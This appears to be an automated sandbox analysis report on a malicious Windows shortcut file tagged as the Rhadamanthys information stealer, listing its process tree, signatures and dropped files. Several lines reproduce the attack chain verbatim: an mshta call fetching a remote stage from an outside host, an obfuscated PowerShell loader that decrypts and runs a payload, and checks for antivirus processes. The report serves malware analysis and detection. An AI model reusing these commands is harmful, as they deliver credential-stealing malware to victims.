Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    19/04/2024, 01:55

General

  • Target
    c4e79437d564a08dacec5a0bb754c6f03d13333276c9a48253a247bef5742c0a.lnk
  • Size 1KB
  • Sample240419-ccfaesdd89
  • SHA256 c4e79437d564a08dacec5a0bb754c6f03d13333276c9a48253a247bef5742c0a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0had.com/stage

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1196
      • C:\Windows\system32\cmd.exe
        cmd /c C:\Users\Admin\AppData\Local\Temp\c4e79437d564a08dacec5a0bb754c6f03d13333276c9a48253a247bef5742c0a.lnk
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\System32\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m calc.exe /c "powershell . mshta http://0had.com/stage"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            . mshta http://0had.com/stage
            4⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2120
            • C:\Windows\system32\mshta.exe
              "C:\Windows\system32\mshta.exe" http://0had.com/stage
              5⤵
              • Blocklisted process makes network request
              • Modifies Internet Explorer settings
              • Suspicious use of WriteProcessMemory
              PID:2628
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function GWVkC($OQIVk){return -split ($OQIVk -replace '..', '0x$& ')};$oUlJnFU = GWVkC('56A67CC90F7BC928FBB76DA2E224750D586965A7E0F8F557FF0856E894FEFF3BE7B23E6855B782A6630796E17202BD0E08D3E05FDBBA972A66EDD309CE61FAF317E38E20EF7B53C12E98E21C1172169AC870221DCF2CBFB2D28EABAEEE6AFE15DDC75D7F9A7EA6D4DCC11B60AD525062D432C1AF7F266A339581F8FE2577BCC208479F427C72D55A0009C9E5A454524C65816B86781571F5EAB763314745A0D5BBC269E7A28786F9F158D877A3785822976D61421897BA6E4015C3F00531CFE41809A1325D6C3B8CF2748C6913AC1B41D628D7D473F91707340A60B22D9994D94996EDCFEE33B67F9C118BCA16A64C4142D6A6ED45C2BF89E94D37D5B5A05D6CD6C044E1F5A7B39E2A676BD986430EFCAB1DEB19487A3C5B8692920814DA65EDBDEB811B0580D2634A520F0CB427693A05139D1791FBFF12BFA351AF662C53C02D3E6474D0884ADE26C0F04467CCC00864FD2A191A25501FD800885F045F307C5B5E31EC6AA3E51EB15BA71BFB647E97FA57C577BDBC2194AFEF6973F8A1618DB0AFCB5098A1659ECB2B8E0A9EA0C96549C0ACD148FF865B1F0EA60038B83E8031D1D52F3A852928554E936725C228252454C2422644121EBBF81D24926CFB00A71761AAE91ED9DF8D85F6F727C0D2983D845E9DFDAF0BF9286B28A0CD895C043907B6915FA7A8554C7CFBA3F408233D3F7F7922D02078F0A2E0AE94431CFB442F120BA1732E01F42A09AE837D10BEDD086E56BD70D0FBEBCEAE956284103044B68C0011B5F3B1E6529F4917947C8D0BC96836D1978317B140005D1C7047441719DE342E4662F38739895EBCB8375DCBC834A3D28AFE1A37E319CFA9894ED2B383627DEC489C20578355FC8196FE4164AC46D8DF7A20B62BAC13DB33906E7B22DC66483610E72C4FDD7F12AEC6A90A9F2E02802F04735D72234BAA5C52BCADB5575E9765C2DAE7C823087738C74006C2E1D72411A0F17F1C17AD882BA6F2A3C540A40E5A588AD370AD7643FF3A97CB0FBF388198B446C80213BD48767D581E363D9C3F081CDCA1F1891D30F4043BCC20E0713B31F0D72B18DA3B1E9688B94B7D68E3ABC4254D67FE62005219CA0673300BC22FB4F6C028D030838630239C508AD69B0D9D11E1DAED55BC0953D3D9232F60D9037915FABF10317D40FA5F2355394565BED8255AA7F2E9FEF0A9DEE5B6006F5439968F2CBC453F2ACCE7B287C6036B84ED4445D36A6B3481242E607AF0889ADF450C941CEED12A13C2162395BCDB9F6235416B983CCEBBD1289677DEE3A826B0BDC9DBB9EBFDE9828DABF50E4263BF2AAB34C67531AE59282CD4788143AEECD147543A8BAEBBD2F897086B5E6453A3EADE2E2427625B246CE8C1AF7FCB313EA4934F3B7948350E5398004C9471F553675D2C7B49364965B70120328686B775B8D1F05B2ABE4E816337195BCACDE8AB87B09D1AAAABCD7E08CA410CD3E5B4A0EDA996EEF343F17A0C2B755A103479D899A225EBFC9224558A8F2DB20D7E73A228C58F7F35C669B2719A06C068D8A9B7540F8BAACE9FB57064502FAA3C4CACAD9AA2E5C189F2F08723325BF8CD94C37AF87AA65F01D53020EE2F89AC43873D');$PpVdc = [System.Security.Cryptography.Aes]::Create();$PpVdc.Key = GWVkC('72417566717042666B7664427A694669');$PpVdc.IV = New-Object byte[] 16;$tRHLMuaf = $PpVdc.CreateDecryptor();$euSjzsAcc = $tRHLMuaf.TransformFinalBlock($oUlJnFU, 0, $oUlJnFU.Length);$XdUHAvYuR = [System.Text.Encoding]::Utf8.GetString($euSjzsAcc);$tRHLMuaf.Dispose();& $XdUHAvYuR.Substring(0,3) $XdUHAvYuR.Substring(3)
                6⤵
                • Blocklisted process makes network request
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1520
                • C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
                  "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\SA160.pdf"
                  7⤵
                  • Suspicious behavior: GetForegroundWindowSpam
                  • Suspicious use of SetWindowsHookEx
                  PID:2624
                • C:\Users\Admin\AppData\Roaming\DisabilityCharge.exe
                  "C:\Users\Admin\AppData\Roaming\DisabilityCharge.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1744
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c move Observed Observed.bat && Observed.bat
                    8⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:1284
                    • C:\Windows\SysWOW64\tasklist.exe
                      tasklist
                      9⤵
                      • Enumerates processes with tasklist
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1936
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr /I "wrsa.exe opssvc.exe"
                      9⤵
                        PID:2056
                      • C:\Windows\SysWOW64\tasklist.exe
                        tasklist
                        9⤵
                        • Enumerates processes with tasklist
                        • Suspicious use of AdjustPrivilegeToken
                        PID:500
                      • C:\Windows\SysWOW64\findstr.exe
                        findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
                        9⤵
                          PID:612
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c md 5138815
                          9⤵
                            PID:1488
                          • C:\Windows\SysWOW64\findstr.exe
                            findstr /V "AndreaAccessibleOriginallyElizabeth" Ons
                            9⤵
                              PID:1100
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c copy /b 5138815\Cheers.pif + Software + Cap + Typing + Cingular + Dominican 5138815\Cheers.pif
                              9⤵
                                PID:2112
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c copy /b Customs + Placing + Anatomy + Church 5138815\M
                                9⤵
                                  PID:1788
                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\5138815\Cheers.pif
                                  5138815\Cheers.pif 5138815\M
                                  9⤵
                                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:2244
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping -n 5 127.0.0.1
                                  9⤵
                                  • Runs ping.exe
                                  PID:2388
                  • C:\Windows\SysWOW64\dialer.exe
                    "C:\Windows\system32\dialer.exe"
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2284

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      Cheers.pif

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\5138815\Cheers.pif
                      • Size 103B
                      • SHA256 610a3efda69516655dd03cfc7d26224b2efe35934521af69fd9e96421fe1f3df
                      • MD5 SHA1 SHA512

                      M

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\5138815\M
                      • Size 867KB
                      • SHA256 c43b8b1a8b8ab1455009a1463c77166c87d21b5ded408a9b9d2eb91213e783de
                      • MD5 SHA1 SHA512 SSDEEP

                      Anatomy

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Anatomy
                      • Size 268KB
                      • SHA256 f1e2acd5399b8fd82a7d3be16aba6cf70dd4f5fea82211979b89e6293b736e85
                      • MD5 SHA1 SHA512 SSDEEP

                      Cap

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Cap
                      • Size 152KB
                      • SHA256 b64c28e45770c23ba7b4cc1b80efd0edafaa0ad8109d3c9e340b45ae40565929
                      • MD5 SHA1 SHA512 SSDEEP

                      Church

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Church
                      • Size 113KB
                      • SHA256 1713e9701d98f06a20391a048b2f5cb213b0ccf23f45df39df3cdbd55b23935c
                      • MD5 SHA1 SHA512 SSDEEP

                      Cingular

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Cingular
                      • Size 262KB
                      • SHA256 53a87d85121c6e590a928d3fae1f72ab3c266c980cc6a89f39cd74a2127d6b1e
                      • MD5 SHA1 SHA512 SSDEEP

                      Customs

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Customs
                      • Size 239KB
                      • SHA256 3a6b764666b1675287f39a952e072fcd41332b4d0ce2b4e59a96aa5a27af8707
                      • MD5 SHA1 SHA512 SSDEEP

                      Dominican

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Dominican
                      • Size 137KB
                      • SHA256 740648b4a35012828dc95ef4258677d80659d820461ccfc9f98216facf0fea9a
                      • MD5 SHA1 SHA512 SSDEEP

                      Observed

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Observed
                      • Size 25KB
                      • SHA256 eb882bf341c37bcd1c625e156f33db1b338d0e435aa074fa379cc3e73d6d9dad
                      • MD5 SHA1 SHA512 SSDEEP

                      Ons

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Ons
                      • Size 140B
                      • SHA256 4dab1074edd81fc8d7b5c1e989b025f96ff09ae42e58934668bcc2f696a167c9
                      • MD5 SHA1 SHA512

                      Placing

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Placing
                      • Size 247KB
                      • SHA256 fdd8a7a40fdee48bd3a93b70e27c8efbb1aa860e2f7f587e1eecacbee3d6dd68
                      • MD5 SHA1 SHA512 SSDEEP

                      Software

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Software
                      • Size 101KB
                      • SHA256 00559112065d90d8ba296b46949907ea4141c19323e999670a918bd50c5ae162
                      • MD5 SHA1 SHA512 SSDEEP

                      Typing

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Typing
                      • Size 220KB
                      • SHA256 2e933f3194ac2649b3f2c3f0289174b787ef71314143d63980b4d0c3ca698582
                      • MD5 SHA1 SHA512 SSDEEP

                      SharedDataEvents

                      • Path C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents
                      • Size 3KB
                      • SHA256 8ac0d2f30b963a30eb2d5ac74ab302559082501d6bb5b49696a5982cd9d02b4d
                      • MD5 SHA1 SHA512

                      DisabilityCharge.exe

                      • Path C:\Users\Admin\AppData\Roaming\DisabilityCharge.exe
                      • Size 934KB
                      • SHA256 35ed65d9919843300db648bf93ae57d7330095eb1ce18d6c6050db88a2e4f297
                      • MD5 SHA1 SHA512 SSDEEP

                      590aee7bdd69b59b.customDestinations-ms

                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                      • Size 7KB
                      • SHA256 263c1fed20e255337af979ee4994454c4ffb95ac077575bda8da1abc43cc7a8e
                      • MD5 SHA1 SHA512 SSDEEP

                      SA160.pdf

                      • Path C:\Users\Admin\AppData\Roaming\SA160.pdf
                      • Size 290KB
                      • SHA256 449e7d4fef2f0a11f5ccc0698a36d05fbac682791ca6b3ffaafa4605533e6553
                      • MD5 SHA1 SHA512 SSDEEP

                      Cheers.pif

                      • Path \Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\5138815\Cheers.pif
                      • Size 872KB
                      • SHA256 865347471135bb5459ad0e647e75a14ad91424b6f13a5c05d9ecd9183a8a1cf4
                      • MD5 SHA1 SHA512 SSDEEP

                      memory/1520-55-0x000007FEF4E20000-0x000007FEF57BD000-memory.dmp

                      memory/1520-53-0x000000001B610000-0x000000001B8F2000-memory.dmp

                      memory/1520-59-0x00000000028C0000-0x0000000002940000-memory.dmp

                      memory/1520-54-0x0000000002230000-0x0000000002238000-memory.dmp

                      memory/1520-58-0x00000000028C0000-0x0000000002940000-memory.dmp

                      memory/1520-56-0x00000000028C0000-0x0000000002940000-memory.dmp

                      memory/1520-57-0x000007FEF4E20000-0x000007FEF57BD000-memory.dmp

                      memory/1520-70-0x000007FEF4E20000-0x000007FEF57BD000-memory.dmp

                      memory/2120-40-0x000000001B7B0000-0x000000001BA92000-memory.dmp

                      memory/2120-46-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

                      memory/2120-45-0x0000000001E40000-0x0000000001EC0000-memory.dmp

                      memory/2120-44-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

                      memory/2120-43-0x0000000001E40000-0x0000000001EC0000-memory.dmp

                      memory/2120-42-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

                      memory/2120-41-0x00000000027A0000-0x00000000027A8000-memory.dmp

                      memory/2244-120-0x0000000003BF0000-0x0000000003C5D000-memory.dmp

                      memory/2244-126-0x0000000004CC0000-0x00000000050C0000-memory.dmp

                      memory/2244-118-0x00000000000B0000-0x00000000000B1000-memory.dmp

                      memory/2244-119-0x0000000003BF0000-0x0000000003C5D000-memory.dmp

                      memory/2244-116-0x0000000077810000-0x00000000778E6000-memory.dmp

                      memory/2244-122-0x0000000003BF0000-0x0000000003C5D000-memory.dmp

                      memory/2244-123-0x0000000003BF0000-0x0000000003C5D000-memory.dmp

                      memory/2244-124-0x0000000003BF0000-0x0000000003C5D000-memory.dmp

                      memory/2244-125-0x0000000003BF0000-0x0000000003C5D000-memory.dmp

                      memory/2244-127-0x0000000003BF0000-0x0000000003C5D000-memory.dmp

                      memory/2244-128-0x0000000004CC0000-0x00000000050C0000-memory.dmp

                      memory/2244-117-0x0000000003BF0000-0x0000000003C5D000-memory.dmp

                      memory/2244-133-0x0000000004CC0000-0x00000000050C0000-memory.dmp

                      memory/2244-136-0x0000000004CC0000-0x00000000050C0000-memory.dmp

                      memory/2244-132-0x0000000076350000-0x0000000076397000-memory.dmp

                      memory/2244-130-0x0000000077620000-0x00000000777C9000-memory.dmp

                      memory/2244-129-0x0000000004CC0000-0x00000000050C0000-memory.dmp

                      memory/2284-134-0x0000000000080000-0x0000000000089000-memory.dmp

                      memory/2284-139-0x0000000077620000-0x00000000777C9000-memory.dmp

                      memory/2284-140-0x0000000001CC0000-0x00000000020C0000-memory.dmp

                      memory/2284-138-0x0000000001CC0000-0x00000000020C0000-memory.dmp

                      memory/2284-142-0x0000000077620000-0x00000000777C9000-memory.dmp

                      memory/2284-143-0x0000000076350000-0x0000000076397000-memory.dmp

                      memory/2284-144-0x0000000001CC0000-0x00000000020C0000-memory.dmp